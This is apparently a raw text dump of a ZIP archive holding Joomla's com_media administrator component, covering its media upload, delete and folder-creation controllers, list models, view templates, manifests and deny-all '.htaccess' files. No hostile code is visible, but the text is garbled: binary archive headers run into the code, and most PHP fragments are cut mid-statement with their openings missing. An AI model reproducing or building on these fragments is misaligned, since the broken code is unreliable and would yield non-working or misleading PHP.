      authorise('core.create', 'com_media')): ?>
      config->get('upload_maxsize')=='0' ? JText::_('COM_MEDIA_UPLOAD_FILES_NOLIMIT') : JText::sprintf('COM_MEDIA_UPLOAD_FILES', $this->config->get('upload_maxsize')); ?>
      PK@y>\)0components/com_media/views/images/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\zh/components/com_media/views/images/view.html.phpnuW+AisRTL()) { JHtml::_('stylesheet', 'media/popup-imagemanager_rtl.css', array(), true); } /* * Display form for FTP credentials? * Don't set them here, as there are other functions called before this one if there is any file write operation */ $ftp = !JClientHelper::hasCredentials('ftp'); $this->session = JFactory::getSession(); $this->config = $config; $this->state = $this->get('state'); $this->folderList = $this->get('folderList'); $this->require_ftp = $ftp; parent::display($tpl); } } PK@y>\)+components/com_media/views/images/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V,components/com_media/views/images/index.htmlnuW+A PK@y>\).components/com_media/views/medialist/.htaccessnuW+A Order allow,deny Deny from all PK@y>\隀B 2components/com_media/views/medialist/view.html.phpnuW+AgetUserStateFromRequest('media.list.layout', 'layout', 'thumbs', 'word'); $lang = JFactory::getLanguage(); JHtml::_('behavior.framework', true); $document = JFactory::getDocument(); $document->addStyleSheet('../media/media/css/medialist-'.$style.'.css'); if ($lang->isRTL()) : $document->addStyleSheet('../media/media/css/medialist-'.$style.'_rtl.css'); endif; $document->addScriptDeclaration(" window.addEvent('domready', function() { window.parent.document.updateUploader(); $$('a.img-preview').each(function(el) { el.addEvent('click', function(e) { new Event(e).stop(); window.top.document.preview.fromElement(el); }); }); });"); $images = $this->get('images'); $documents = $this->get('documents'); $folders = $this->get('folders'); $state = $this->get('state'); // Check for invalid folder name if (empty($state->folder)) { $dirname = JRequest::getVar('folder', '', '', 'string'); if (!empty($dirname)) { $dirname = htmlspecialchars($dirname, ENT_COMPAT, 'UTF-8'); if ($lang->hasKey('COM_MEDIA_ERROR_UNABLE_TO_BROWSE_FOLDER_WARNDIRNAME')) { JError::raiseWarning(100, JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_BROWSE_FOLDER_WARNDIRNAME', $dirname)); } else { JError::raiseWarning(100, sprintf('Unable to browse: %s. Directory name must only contain alphanumeric characters and no spaces.', $dirname)); } } } $this->baseURL = JURI::root(); $this->assignRef('images', $images); $this->assignRef('documents', $documents); $this->assignRef('folders', $folders); $this->assignRef('state', $state); parent::display($tpl); } function setFolder($index = 0) { if (isset($this->folders[$index])) { $this->_tmp_folder = &$this->folders[$index]; } else { $this->_tmp_folder = new JObject; } } function setImage($index = 0) { if (isset($this->images[$index])) { $this->_tmp_img = &$this->images[$index]; } else { $this->_tmp_img = new JObject; } } function setDoc($index = 0) { if (isset($this->documents[$index])) { $this->_tmp_doc = &$this->documents[$index]; } else { $this->_tmp_doc = new JObject; } } } PK@y>\V/components/com_media/views/medialist/index.htmlnuW+A PK@y>\};components/com_media/views/medialist/tmpl/thumbs_folder.phpnuW+A PK@y>\p888components/com_media/views/medialist/tmpl/thumbs_doc.phpnuW+Atrigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_doc, &$params)); ?> trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_doc, &$params)); ?> PK@y>\ ``8components/com_media/views/medialist/tmpl/thumbs_img.phpnuW+Atrigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_img, &$params)); ?> trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_img, &$params)); ?> PK@y>\1XX9components/com_media/views/medialist/tmpl/details_doc.phpnuW+Atrigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_doc, &$params)); ?> _tmp_doc->icon_16, $this->_tmp_doc->title, null, true, true) ? JHtml::_('image', $this->_tmp_doc->icon_16, $this->_tmp_doc->title, array('width' => 16, 'height' => 16), true) : JHtml::_('image', 'media/con_info.png', $this->_tmp_doc->title, array('width' => 16, 'height' => 16), true);?> _tmp_doc->title; ?>   _tmp_doc->size); ?> authorise('core.delete', 'com_media')):?> 16, 'height' => 16, 'border' => 0), true);?> trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_doc, &$params)); ?> PK@y>\uTjQQ9components/com_media/views/medialist/tmpl/details_img.phpnuW+Atrigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_img, &$params)); ?> _tmp_img->path_relative, JText::sprintf('COM_MEDIA_IMAGE_TITLE', $this->_tmp_img->title, MediaHelper::parseSize($this->_tmp_img->size)), array('width' => $this->_tmp_img->width_16, 'height' => $this->_tmp_img->height_16)); ?> escape($this->_tmp_img->title); ?> _tmp_img->width, $this->_tmp_img->height); ?> _tmp_img->size); ?> authorise('core.delete', 'com_media')):?> 16, 'height' => 16), true); ?> trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_img, &$params)); ?> PK@y>\\8components/com_media/views/medialist/tmpl/details_up.phpnuW+A 16, 'height' => 16), true); ?> ..     authorise('core.delete', 'com_media')):?>   PK@y>\V4components/com_media/views/medialist/tmpl/index.htmlnuW+A PK@y>\Rff<components/com_media/views/medialist/tmpl/details_folder.phpnuW+A _tmp_folder->name, array('width' => 16, 'height' => 16), true); ?> _tmp_folder->name; ?>     authorise('core.delete', 'com_media')):?> 16, 'height' => 16), true); ?> PK@y>\)3components/com_media/views/medialist/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\R/7components/com_media/views/medialist/tmpl/thumbs_up.phpnuW+A PK@y>\Q,5components/com_media/views/medialist/tmpl/details.phpnuW+A
      authorise('core.delete', 'com_media')):?> loadTemplate('up'); ?> folders); $i<$n; $i++) : $this->setFolder($i); echo $this->loadTemplate('folder'); endfor; ?> documents); $i<$n; $i++) : $this->setDoc($i); echo $this->loadTemplate('doc'); endfor; ?> images); $i<$n; $i++) : $this->setImage($i); echo $this->loadTemplate('img'); endfor; ?>
      PK@y>\ɳ||4components/com_media/views/medialist/tmpl/thumbs.phpnuW+A
      loadTemplate('up'); ?> folders); $i<$n; $i++) : $this->setFolder($i); echo $this->loadTemplate('folder'); endfor; ?> documents); $i<$n; $i++) : $this->setDoc($i); echo $this->loadTemplate('doc'); endfor; ?> images); $i<$n; $i++) : $this->setImage($i); echo $this->loadTemplate('img'); endfor; ?>
      PK@y>\FH5components/com_media/views/medialist/tmpl/default.phpnuW+A\)$components/com_media/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\/r]3components/com_media/views/imageslist/view.html.phpnuW+AisRTL()) : JHtml::_('stylesheet', 'media/popup-imagelist_rtl.css', array(), true); endif; $document = JFactory::getDocument(); $document->addScriptDeclaration("var ImageManager = window.parent.ImageManager;"); $images = $this->get('images'); $folders = $this->get('folders'); $state = $this->get('state'); $this->baseURL = COM_MEDIA_BASEURL; $this->assignRef('images', $images); $this->assignRef('folders', $folders); $this->assignRef('state', $state); parent::display($tpl); } function setFolder($index = 0) { if (isset($this->folders[$index])) { $this->_tmp_folder = &$this->folders[$index]; } else { $this->_tmp_folder = new JObject; } } function setImage($index = 0) { if (isset($this->images[$index])) { $this->_tmp_img = &$this->images[$index]; } else { $this->_tmp_img = new JObject; } } } PK@y>\)/components/com_media/views/imageslist/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0components/com_media/views/imageslist/index.htmlnuW+A PK@y>\Ekk<components/com_media/views/imageslist/tmpl/default_image.phpnuW+Atrigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_img, &$params)); ?> trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_img, &$params)); ?> PK@y>\)4components/com_media/views/imageslist/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V5components/com_media/views/imageslist/tmpl/index.htmlnuW+A PK@y>\&6components/com_media/views/imageslist/tmpl/default.phpnuW+A images) > 0 || count($this->folders) > 0) { ?>
      folders); $i<$n; $i++) : $this->setFolder($i); echo $this->loadTemplate('folder'); endfor; ?> images); $i<$n; $i++) : $this->setImage($i); echo $this->loadTemplate('image'); endfor; ?>

      PK@y>\1=components/com_media/views/imageslist/tmpl/default_folder.phpnuW+A PK@y>\Vcomponents/com_media/access.xmlnuW+A
      PK@y>\)%components/com_media/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)+components/com_media/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V,components/com_media/models/forms/index.htmlnuW+A PK@y>\+66$components/com_media/models/list.phpnuW+AsetState('folder', $folder); $parent = str_replace("\\", "/", dirname($folder)); $parent = ($parent == '.') ? null : $parent; $this->setState('parent', $parent); $set = true; } return parent::getState($property, $default); } function getImages() { $list = $this->getList(); return $list['images']; } function getFolders() { $list = $this->getList(); return $list['folders']; } function getDocuments() { $list = $this->getList(); return $list['docs']; } /** * Build imagelist * * @param string $listFolder The image directory to display * @since 1.5 */ function getList() { static $list; // Only process the list once per request if (is_array($list)) { return $list; } // Get current path from request $current = $this->getState('folder'); // If undefined, set to empty if ($current == 'undefined') { $current = ''; } // Initialise variables. if (strlen($current) > 0) { $basePath = COM_MEDIA_BASE.'/'.$current; } else { $basePath = COM_MEDIA_BASE; } $mediaBase = str_replace(DIRECTORY_SEPARATOR, '/', COM_MEDIA_BASE.'/'); $images = array (); $folders = array (); $docs = array (); $fileList = false; $folderList = false; if (file_exists($basePath)) { // Get the list of files and folders from the given folder $fileList = JFolder::files($basePath); $folderList = JFolder::folders($basePath); } // Iterate over the files if they exist if ($fileList !== false) { foreach ($fileList as $file) { if (is_file($basePath.'/'.$file) && substr($file, 0, 1) != '.' && strtolower($file) !== 'index.html') { $tmp = new JObject(); $tmp->name = $file; $tmp->title = $file; $tmp->path = str_replace(DIRECTORY_SEPARATOR, '/', JPath::clean($basePath . '/' . $file)); $tmp->path_relative = str_replace($mediaBase, '', $tmp->path); $tmp->size = filesize($tmp->path); $ext = strtolower(JFile::getExt($file)); switch ($ext) { // Image case 'jpg': case 'png': case 'gif': case 'xcf': case 'odg': case 'bmp': case 'jpeg': case 'ico': $info = @getimagesize($tmp->path); $tmp->width = @$info[0]; $tmp->height = @$info[1]; $tmp->type = @$info[2]; $tmp->mime = @$info['mime']; if (($info[0] > 60) || ($info[1] > 60)) { $dimensions = MediaHelper::imageResize($info[0], $info[1], 60); $tmp->width_60 = $dimensions[0]; $tmp->height_60 = $dimensions[1]; } else { $tmp->width_60 = $tmp->width; $tmp->height_60 = $tmp->height; } if (($info[0] > 16) || ($info[1] > 16)) { $dimensions = MediaHelper::imageResize($info[0], $info[1], 16); $tmp->width_16 = $dimensions[0]; $tmp->height_16 = $dimensions[1]; } else { $tmp->width_16 = $tmp->width; $tmp->height_16 = $tmp->height; } $images[] = $tmp; break; // Non-image document default: $tmp->icon_32 = "media/mime-icon-32/".$ext.".png"; $tmp->icon_16 = "media/mime-icon-16/".$ext.".png"; $docs[] = $tmp; break; } } } } // Iterate over the folders if they exist if ($folderList !== false) { foreach ($folderList as $folder) { $tmp = new JObject(); $tmp->name = basename($folder); $tmp->path = str_replace(DIRECTORY_SEPARATOR, '/', JPath::clean($basePath . '/' . $folder)); $tmp->path_relative = str_replace($mediaBase, '', $tmp->path); $count = MediaHelper::countFiles($tmp->path); $tmp->files = $count[0]; $tmp->folders = $count[1]; $folders[] = $tmp; } } $list = array('folders' => $folders, 'docs' => $docs, 'images' => $images); return $list; } } PK@y>\V&components/com_media/models/index.htmlnuW+A PK@y>\@'components/com_media/models/manager.phpnuW+AsetState('folder', $folder); $fieldid = JRequest::getCmd('fieldid', ''); $this->setState('field.id', $fieldid); $parent = str_replace("\\", "/", dirname($folder)); $parent = ($parent == '.') ? null : $parent; $this->setState('parent', $parent); $set = true; } return parent::getState($property, $default); } /** * Image Manager Popup * * @param string $listFolder The image directory to display * @since 1.5 */ function getFolderList($base = null) { // Get some paths from the request if (empty($base)) { $base = COM_MEDIA_BASE; } //corrections for windows paths $base = str_replace(DIRECTORY_SEPARATOR, '/', $base); $com_media_base_uni = str_replace(DIRECTORY_SEPARATOR, '/', COM_MEDIA_BASE); // Get the list of folders jimport('joomla.filesystem.folder'); $folders = JFolder::folders($base, '.', true, true); $document = JFactory::getDocument(); $document->setTitle(JText::_('COM_MEDIA_INSERT_IMAGE')); // Build the array of select options for the folder list $options[] = JHtml::_('select.option', "", "/"); foreach ($folders as $folder) { $folder = str_replace($com_media_base_uni, "", str_replace(DIRECTORY_SEPARATOR, '/', $folder)); $value = substr($folder, 1); $text = str_replace(DIRECTORY_SEPARATOR, "/", $folder); $options[] = JHtml::_('select.option', $value, $text); } // Sort the folder list array if (is_array($options)) { sort($options); } // Get asset and author id (use integer filter) $input = JFactory::getApplication()->input; $asset = $input->get('asset', 0, 'integer'); $author = $input->get('author', 0, 'integer'); // Create the drop-down folder select list $list = JHtml::_('select.genericlist', $options, 'folderlist', 'class="inputbox" size="1" onchange="ImageManager.setFolder(this.options[this.selectedIndex].value, '.$asset.', '.$author.')" ', 'value', 'text', $base); return $list; } function getFolderTree($base = null) { // Get some paths from the request if (empty($base)) { $base = COM_MEDIA_BASE; } $mediaBase = str_replace(DIRECTORY_SEPARATOR, '/', COM_MEDIA_BASE.'/'); // Get the list of folders jimport('joomla.filesystem.folder'); $folders = JFolder::folders($base, '.', true, true); $tree = array(); foreach ($folders as $folder) { $folder = str_replace(DIRECTORY_SEPARATOR, '/', $folder); $name = substr($folder, strrpos($folder, '/') + 1); $relative = str_replace($mediaBase, '', $folder); $absolute = $folder; $path = explode('/', $relative); $node = (object) array('name' => $name, 'relative' => $relative, 'absolute' => $absolute); $tmp = &$tree; for ($i=0, $n=count($path); $i<$n; $i++) { if (!isset($tmp['children'])) { $tmp['children'] = array(); } if ($i == $n-1) { // We need to place the node $tmp['children'][$relative] = array('data' =>$node, 'children' => array()); break; } if (array_key_exists($key = implode('/', array_slice($path, 0, $i+1)), $tmp['children'])) { $tmp = &$tmp['children'][$key]; } } } $tree['data'] = (object) array('name' => JText::_('COM_MEDIA_MEDIA'), 'relative' => '', 'absolute' => $base); return $tree; } } PK@y>\/. components/com_media/config.xmlnuW+A
      PK@y>\~G,||components/com_media/media.phpnuW+Aauthorise('core.manage', 'com_media') && (!$asset or ( !$user->authorise('core.edit', $asset) && !$user->authorise('core.create', $asset) && count($user->getAuthorisedCategories($asset, 'core.create')) == 0) && !($user->id==$author && $user->authorise('core.edit.own', $asset)))) { return JError::raiseWarning(403, JText::_('JERROR_ALERTNOAUTHOR')); } $params = JComponentHelper::getParams('com_media'); // Load the admin HTML view require_once JPATH_COMPONENT.'/helpers/media.php'; // Set the path definitions $popup_upload = JRequest::getCmd('pop_up', null); $path = "file_path"; $view = JRequest::getCmd('view'); if (substr(strtolower($view), 0, 6) == "images" || $popup_upload == 1) { $path = "image_path"; } define('COM_MEDIA_BASE', JPATH_ROOT.'/'.$params->get($path, 'images')); define('COM_MEDIA_BASEURL', JURI::root().$params->get($path, 'images')); $controller = JControllerLegacy::getInstance('Media'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\B7ccomponents/com_media/media.xmlnuW+A com_media Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_MEDIA_XML_DESCRIPTION controller.php index.html media.php helpers language/en-GB.com_media.ini config.xml controller.php index.html media.php controllers helpers models views language/en-GB.com_media.ini PK@y>\)components/com_media/.htaccessnuW+A Order allow,deny Deny from all PK@y>\L #components/com_media/controller.phpnuW+AgetUserStateFromRequest('media.list.layout', 'layout', 'thumbs', 'word'); break; case 'media': default: $vName = 'media'; $vLayout = JRequest::getCmd('layout', 'default'); $mName = 'manager'; break; } $document = JFactory::getDocument(); $vType = $document->getType(); // Get/Create the view $view = $this->getView($vName, $vType); // Get/Create the model if ($model = $this->getModel($mName)) { // Push the model into the view (as default) $view->setModel($model, true); } // Set the layout $view->setLayout($vLayout); // Display the view $view->display(); return $this; } function ftpValidate() { // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); } } PK@y>\)c+components/com_media/controllers/folder.phpnuW+AsetRedirect($redirect); // Just return if there's nothing to do if (empty($paths)) { return true; } if (!$user->authorise('core.delete', 'com_media')) { // User is not authorised to delete JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED')); return false; } // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); // Initialise variables. $ret = true; JPluginHelper::importPlugin('content'); $dispatcher = JDispatcher::getInstance(); if (count($paths)) { foreach ($paths as $path) { if ($path !== JFile::makeSafe($path)) { $dirname = htmlspecialchars($path, ENT_COMPAT, 'UTF-8'); JError::raiseWarning(100, JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_WARNDIRNAME', substr($dirname, strlen(COM_MEDIA_BASE)))); continue; } $fullPath = JPath::clean(implode(DIRECTORY_SEPARATOR, array(COM_MEDIA_BASE, $folder, $path))); $object_file = new JObject(array('filepath' => $fullPath)); if (is_file($fullPath)) { // Trigger the onContentBeforeDelete event. $result = $dispatcher->trigger('onContentBeforeDelete', array('com_media.file', &$object_file)); if (in_array(false, $result, true)) { // There are some errors in the plugins JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_DELETE', count($errors = $object_file->getErrors()), implode('
      ', $errors))); continue; } $ret &= JFile::delete($fullPath); // Trigger the onContentAfterDelete event. $dispatcher->trigger('onContentAfterDelete', array('com_media.file', &$object_file)); $this->setMessage(JText::sprintf('COM_MEDIA_DELETE_COMPLETE', substr($fullPath, strlen(COM_MEDIA_BASE)))); } elseif (is_dir($fullPath)) { $contents = JFolder::files($fullPath, '.', true, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html')); if (empty($contents)) { // Trigger the onContentBeforeDelete event. $result = $dispatcher->trigger('onContentBeforeDelete', array('com_media.folder', &$object_file)); if (in_array(false, $result, true)) { // There are some errors in the plugins JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_DELETE', count($errors = $object_file->getErrors()), implode('
      ', $errors))); continue; } $ret &= !JFolder::delete($fullPath); // Trigger the onContentAfterDelete event. $dispatcher->trigger('onContentAfterDelete', array('com_media.folder', &$object_file)); $this->setMessage(JText::sprintf('COM_MEDIA_DELETE_COMPLETE', substr($fullPath, strlen(COM_MEDIA_BASE)))); } else { //This makes no sense... JError::raiseWarning(100, JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_NOT_EMPTY', substr($fullPath, strlen(COM_MEDIA_BASE)))); } } } return $ret; } } /** * Create a folder * * @param string $path Path of the folder to create * @since 1.5 */ public function create() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $user = JFactory::getUser(); $folder = JRequest::getCmd('foldername', ''); $folderCheck = JRequest::getVar('foldername', null, '', 'string', JREQUEST_ALLOWRAW); $parent = JRequest::getVar('folderbase', '', '', 'path'); $this->setRedirect('index.php?option=com_media&folder='.$parent.'&tmpl='.JRequest::getCmd('tmpl', 'index')); if (strlen($folder) > 0) { if (!$user->authorise('core.create', 'com_media')) { // User is not authorised to delete JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_CREATE_NOT_PERMITTED')); return false; } // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); JRequest::setVar('folder', $parent); if (($folderCheck !== null) && ($folder !== $folderCheck)) { $this->setMessage(JText::_('COM_MEDIA_ERROR_UNABLE_TO_CREATE_FOLDER_WARNDIRNAME')); return false; } $path = JPath::clean(COM_MEDIA_BASE . '/' . $parent . '/' . $folder); if (!is_dir($path) && !is_file($path)) { // Trigger the onContentBeforeSave event. $object_file = new JObject(array('filepath' => $path)); JPluginHelper::importPlugin('content'); $dispatcher = JDispatcher::getInstance(); $result = $dispatcher->trigger('onContentBeforeSave', array('com_media.folder', &$object_file, true)); if (in_array(false, $result, true)) { // There are some errors in the plugins JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_SAVE', count($errors = $object_file->getErrors()), implode('
      ', $errors))); return false; } JFolder::create($path); $data = "\n\n\n"; JFile::write($path . "/index.html", $data); // Trigger the onContentAfterSave event. $dispatcher->trigger('onContentAfterSave', array('com_media.folder', &$object_file, true)); $this->setMessage(JText::sprintf('COM_MEDIA_CREATE_COMPLETE', substr($path, strlen(COM_MEDIA_BASE)))); } JRequest::setVar('folder', ($parent) ? $parent.'/'.$folder : $folder); } } } PK@y>\gD  .components/com_media/controllers/file.json.phpnuW+A '0', 'error' => JText::_('JINVALID_TOKEN') ); echo json_encode($response); return; } // Get the user $user = JFactory::getUser(); $log = JLog::getInstance('upload.error.php'); // Get some data from the request $file = JRequest::getVar('Filedata', '', 'files', 'array'); $folder = JRequest::getVar('folder', '', '', 'path'); $return = JRequest::getVar('return-url', null, 'post', 'base64'); if ( $_SERVER['CONTENT_LENGTH']>($params->get('upload_maxsize', 0) * 1024 * 1024) || $_SERVER['CONTENT_LENGTH']>(int)(ini_get('upload_max_filesize'))* 1024 * 1024 || $_SERVER['CONTENT_LENGTH']>(int)(ini_get('post_max_size'))* 1024 * 1024 || $_SERVER['CONTENT_LENGTH']>(int)(ini_get('memory_limit'))* 1024 * 1024 ) { $response = array( 'status' => '0', 'error' => JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE') ); echo json_encode($response); return; } // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); // Make the filename safe $file['name'] = JFile::makeSafe($file['name']); if (isset($file['name'])) { // The request is valid $err = null; $filepath = JPath::clean(COM_MEDIA_BASE . '/' . $folder . '/' . strtolower($file['name'])); if (!MediaHelper::canUpload($file, $err)) { $log->addEntry(array('comment' => 'Invalid: '.$filepath.': '.$err)); $response = array( 'status' => '0', 'error' => JText::_($err) ); echo json_encode($response); return; } // Trigger the onContentBeforeSave event. JPluginHelper::importPlugin('content'); $dispatcher = JDispatcher::getInstance(); $object_file = new JObject($file); $object_file->filepath = $filepath; $result = $dispatcher->trigger('onContentBeforeSave', array('com_media.file', &$object_file, true)); if (in_array(false, $result, true)) { // There are some errors in the plugins $log->addEntry(array('comment' => 'Errors before save: '.$filepath.' : '.implode(', ', $object_file->getErrors()))); $response = array( 'status' => '0', 'error' => JText::plural('COM_MEDIA_ERROR_BEFORE_SAVE', count($errors = $object_file->getErrors()), implode('
      ', $errors)) ); echo json_encode($response); return; } if (JFile::exists($filepath)) { // File exists $log->addEntry(array('comment' => 'File exists: '.$filepath.' by user_id '.$user->id)); $response = array( 'status' => '0', 'error' => JText::_('COM_MEDIA_ERROR_FILE_EXISTS') ); echo json_encode($response); return; } elseif (!$user->authorise('core.create', 'com_media')) { // File does not exist and user is not authorised to create $log->addEntry(array('comment' => 'Create not permitted: '.$filepath.' by user_id '.$user->id)); $response = array( 'status' => '0', 'error' => JText::_('COM_MEDIA_ERROR_CREATE_NOT_PERMITTED') ); echo json_encode($response); return; } $file = (array) $object_file; if (!JFile::upload($file['tmp_name'], $file['filepath'])) { // Error in upload $log->addEntry(array('comment' => 'Error on upload: '.$filepath)); $response = array( 'status' => '0', 'error' => JText::_('COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE') ); echo json_encode($response); return; } else { // Trigger the onContentAfterSave event. $dispatcher->trigger('onContentAfterSave', array('com_media.file', &$object_file, true)); $log->addEntry(array('comment' => $folder)); $response = array( 'status' => '1', 'error' => JText::sprintf('COM_MEDIA_UPLOAD_COMPLETE', substr($file['filepath'], strlen(COM_MEDIA_BASE))) ); echo json_encode($response); return; } } else { $response = array( 'status' => '0', 'error' => JText::_('COM_MEDIA_ERROR_BAD_REQUEST') ); echo json_encode($response); return; } } } PK@y>\V+components/com_media/controllers/index.htmlnuW+A PK@y>\)*components/com_media/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\'#'#)components/com_media/controllers/file.phpnuW+Afolder = JRequest::getVar('folder', '', '', 'path'); // Set the redirect if ($return) { $this->setRedirect(base64_decode($return) . '&folder=' . $this->folder); } // Authorize the user if (!$this->authoriseUser('create')) { return false; } if ( $_SERVER['CONTENT_LENGTH']>($params->get('upload_maxsize', 0) * 1024 * 1024) || $_SERVER['CONTENT_LENGTH']>(int)(ini_get('upload_max_filesize'))* 1024 * 1024 || $_SERVER['CONTENT_LENGTH']>(int)(ini_get('post_max_size'))* 1024 * 1024 || (($_SERVER['CONTENT_LENGTH'] > (int) (ini_get('memory_limit')) * 1024 * 1024) && ((int) (ini_get('memory_limit')) != -1)) ) { JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE')); return false; } // Input is in the form of an associative array containing numerically indexed arrays // We want a numerically indexed array containing associative arrays // Cast each item as array in case the Filedata parameter was not sent as such $files = array_map( array($this, 'reformatFilesArray'), (array) $files['name'], (array) $files['type'], (array) $files['tmp_name'], (array) $files['error'], (array) $files['size'] ); // Perform basic checks on file info before attempting anything foreach ($files as &$file) { if ($file['error']==1) { JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE')); return false; } if ($file['size']>($params->get('upload_maxsize', 0) * 1024 * 1024)) { JError::raiseNotice(100, JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE')); return false; } if (JFile::exists($file['filepath'])) { // A file with this name already exists JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_FILE_EXISTS')); return false; } if (!isset($file['name'])) { // No filename (after the name was cleaned by JFile::makeSafe) $this->setRedirect('index.php', JText::_('COM_MEDIA_INVALID_REQUEST'), 'error'); return false; } } // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); JPluginHelper::importPlugin('content'); $dispatcher = JDispatcher::getInstance(); foreach ($files as &$file) { // The request is valid $err = null; if (!MediaHelper::canUpload($file, $err)) { // The file can't be upload JError::raiseNotice(100, JText::_($err)); return false; } // Trigger the onContentBeforeSave event. $object_file = new JObject($file); $result = $dispatcher->trigger('onContentBeforeSave', array('com_media.file', &$object_file, true)); if (in_array(false, $result, true)) { // There are some errors in the plugins JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_SAVE', count($errors = $object_file->getErrors()), implode('
      ', $errors))); return false; } if (!JFile::upload($file['tmp_name'], $file['filepath'])) { // Error in upload JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE')); return false; } else { // Trigger the onContentAfterSave event. $dispatcher->trigger('onContentAfterSave', array('com_media.file', &$object_file, true)); $this->setMessage(JText::sprintf('COM_MEDIA_UPLOAD_COMPLETE', substr($file['filepath'], strlen(COM_MEDIA_BASE)))); } } return true; } /** * Used as a callback for array_map, turns the multi-file input array into a sensible array of files * Also, removes illegal characters from the 'name' and sets a 'filepath' as the final destination of the file * * @param string - file name ($files['name']) * @param string - file type ($files['type']) * @param string - temporary name ($files['tmp_name']) * @param string - error info ($files['error']) * @param string - file size ($files['size']) * * @return array * @access protected */ protected function reformatFilesArray($name, $type, $tmp_name, $error, $size) { $name = JFile::makeSafe($name); return array( 'name' => $name, 'type' => $type, 'tmp_name' => $tmp_name, 'error' => $error, 'size' => $size, 'filepath' => JPath::clean(implode(DIRECTORY_SEPARATOR, array(COM_MEDIA_BASE, $this->folder, $name))) ); } /** * Check that the user is authorized to perform this action * * @param string $action - the action to be peformed (create or delete) * * @return boolean * @access protected */ protected function authoriseUser($action) { if (!JFactory::getUser()->authorise('core.' . strtolower($action), 'com_media')) { // User is not authorised JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_' . strtoupper($action) . '_NOT_PERMITTED')); return false; } return true; } /** * Deletes paths from the current path * * @since 1.5 */ public function delete() { JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN')); // Get some data from the request $tmpl = JRequest::getCmd('tmpl'); $paths = JRequest::getVar('rm', array(), '', 'array'); $folder = JRequest::getVar('folder', '', '', 'path'); $redirect = 'index.php?option=com_media&folder=' . $folder; if ($tmpl == 'component') { // We are inside the iframe $redirect .= '&view=mediaList&tmpl=component'; } $this->setRedirect($redirect); // Nothing to delete if (empty($paths)) { return true; } // Authorize the user if (!$this->authoriseUser('delete')) { return false; } // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); JPluginHelper::importPlugin('content'); $dispatcher = JDispatcher::getInstance(); // Initialise variables. $ret = true; foreach ($paths as $path) { if ($path !== JFile::makeSafe($path)) { // filename is not safe $filename = htmlspecialchars($path, ENT_COMPAT, 'UTF-8'); JError::raiseWarning(100, JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_DELETE_FILE_WARNFILENAME', substr($filename, strlen(COM_MEDIA_BASE)))); continue; } $fullPath = JPath::clean(implode(DIRECTORY_SEPARATOR, array(COM_MEDIA_BASE, $folder, $path))); $object_file = new JObject(array('filepath' => $fullPath)); if (is_file($fullPath)) { // Trigger the onContentBeforeDelete event. $result = $dispatcher->trigger('onContentBeforeDelete', array('com_media.file', &$object_file)); if (in_array(false, $result, true)) { // There are some errors in the plugins JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_DELETE', count($errors = $object_file->getErrors()), implode('
